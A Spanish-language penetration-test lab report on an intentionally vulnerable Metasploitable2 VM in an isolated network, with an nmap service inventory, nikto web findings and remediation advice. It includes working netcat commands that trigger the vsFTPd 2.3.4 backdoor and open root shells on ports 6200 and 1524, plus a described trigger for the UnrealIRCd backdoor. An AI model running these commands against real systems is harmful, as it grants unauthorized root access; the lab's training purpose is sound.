
Laboratorio de pentest en red aislada: enumeración con nmap/nikto y explotación manual de Metasploitable2 (backdoor vsFTPd CVE-2011-2523, bindshell) con informe técnico completo.
Autor: Daniel Stefan de Jesus dos Reis
Fecha: Septiembre/2026
Entorno: Laboratorio personal KVM en red virtual aislada pentestlab
Esta prueba se realizó exclusivamente contra una máquina virtual propia e intencionalmente vulnerable, distribuida por Rapid7 específicamente con fines de entrenamiento en seguridad ofensiva, dentro de una red virtual aislada sin salida a internet. No se accedió a ningún sistema de terceros. Este proyecto tiene finalidad exclusivamente educativa, para el desarrollo de habilidades en pruebas de intrusión.
pentestlab (bridge virbr-lab), subred 192.168.100.0/24, sin <forward> configurado — es decir, una red aislada de verdad: las VMs se comunican entre sí y con el host, pero no tienen ruta hacia fuera del laboratorio. XML de la red en evidencias/pentestlab_network.xml.virbr-lab, usando nmap, nikto, gobuster, hydra, sqlmap y netcat.metasploitable2 (Metasploitable2, Ubuntu 8.04 modificado), IP 192.168.100.90/24, asignada vía DHCP de la propia red aislada.[ Host / Atacante ]
|
virbr-lab (rede isolada, sem saída para internet)
|
[ metasploitable2 ]
Seguí un flujo básico de reconocimiento → enumeración → explotación → documentación:
nmap -sV -sC -p-)nikto)nc, para entender el mecanismo de cada falla, no solo "ejecutar el exploit"Comando: nmap -sV -sC -p- -T4 192.168.100.90
Salida completa: evidencias/nmap_full_scan.txt
Resumen de los servicios más relevantes encontrados:
| Puerto | Servicio | Versión | Observación |
|---|---|---|---|
| 21/tcp | FTP | vsftpd 2.3.4 | Login anónimo permitido + backdoor conocida |
| 22/tcp | SSH | OpenSSH 4.7p1 | Desactualizado |
| 23/tcp | Telnet | Linux telnetd | Protocolo en texto claro |
| 25/tcp | SMTP | Postfix | — |
| 80/tcp | HTTP | Apache 2.2.8 + PHP 5.2.4 | phpMyAdmin y phpinfo.php expuestos |
| 139/445/tcp | SMB | Samba 3.0.20-Debian | Firma de mensajes deshabilitada |
| 1099/tcp | Java RMI | GNU Classpath grmiregistry | Históricamente vulnerable a RCE |
| 1524/tcp | bindshell | — | Shell de root ya abierto, sin autenticación |
| 3306/tcp | MySQL | 5.0.51a-3ubuntu5 | — |
| 3632/tcp | distccd | v1 | Históricamente vulnerable a RCE (CVE-2004-2687) |
| 5432/tcp | PostgreSQL | 8.3.0–8.3.7 | — |
| 5900/tcp | VNC | protocolo 3.3 | — |
| 6667/6697/tcp | IRC | UnrealIRCd 3.2.8.1 | Versión asociada a backdoor conocida |
| 8180/tcp | HTTP | Apache Tomcat 5.5 | — |
Entre el 30/06/2011 y el 03/07/2011, el código fuente del vsFTPd 2.3.4 disponible para descarga fue adulterado por un atacante. La versión comprometida contiene una backdoor: al recibir, en el campo de usuario del login FTP, una cadena terminada en :), el servidor abre un shell de root en el puerto TCP 6200, sin ninguna autenticación.
Pasos ejecutados (log completo en evidencias/vsftpd_backdoor_exploit.txt):
# 1. Disparar la backdoor enviando USER terminado en ":)"
( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21
# 2. Conectar en el puerto 6200, abierto por la backdoor
( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200
Resultado:
uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Acceso root total obtenido sin autenticación.
El nmap ya identifica este servicio como Metasploitable root shell — una backdoor dejada intencionalmente en la imagen (resquicio de un exploit anterior, común en imágenes de entrenamiento). No requiere explotación: basta con conectarse.
( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524
Resultado: uid=0(root) gid=0(root) groups=0(root) — root inmediato.
Log completo en evidencias/bindshell_1524.txt.
La versión del UnrealIRCd que corre en los puertos 6667/6697 corresponde a una build históricamente distribuida con una backdoor (comando AB; seguido de un comando de shell). Intenté disparar la backdoor manualmente vía nc, pero el servidor trató la entrada como un comando IRC inválido (451 :You have not registered) en lugar de ejecutar el comando — o esa imagen específica no contiene el binario troyanizado, o el payload necesita un ajuste fino que no prioricé en esta ronda. Registro esto como intento sin éxito, no como vulnerabilidad confirmada.
Servicio de compilación distribuida que acepta comandos arbitrarios de cualquier cliente que se conecte, sin autenticación. Identificado por versión, no explotado en esta ronda.
Históricamente vulnerable a ejecución remota de código vía deserialización. Identificado por versión, no explotado en esta ronda.
Comando: nikto -h 192.168.100.90 -p 80
Salida completa: evidencias/nikto_scan.txt
Principales hallazgos:
TRACE activo (potencial XST)/phpinfo.php expuesto públicamente (revela la configuración de PHP)/phpMyAdmin/ accesible sin restricción de IP/doc/, /test/ y /icons/httponly| Hallazgo | Recomendación |
|---|---|
| Backdoor vsFTPd 2.3.4 | Nunca usar binarios de fuentes no oficiales/no verificadas; validar hash/firma de paquetes antes de instalar |
| Bindshell en el puerto 1524 | Auditar puertos abiertos regularmente (nmap interno periódico); cualquier shell no documentado es un incidente |
| distccd expuesto sin autenticación | Restringir a hosts confiables vía firewall o deshabilitar si no está en uso activo de build distribuido |
| phpMyAdmin/phpinfo.php expuestos | Restringir acceso por IP/VPN, nunca exponer herramientas administrativas públicamente |
| Apache/PHP desactualizados | Mantener proceso de patch management activo |
| Listado de directorio habilitado | Deshabilitar Options Indexes en Apache |
| SMB con firma de mensajes deshabilitada | Habilitar server signing = mandatory |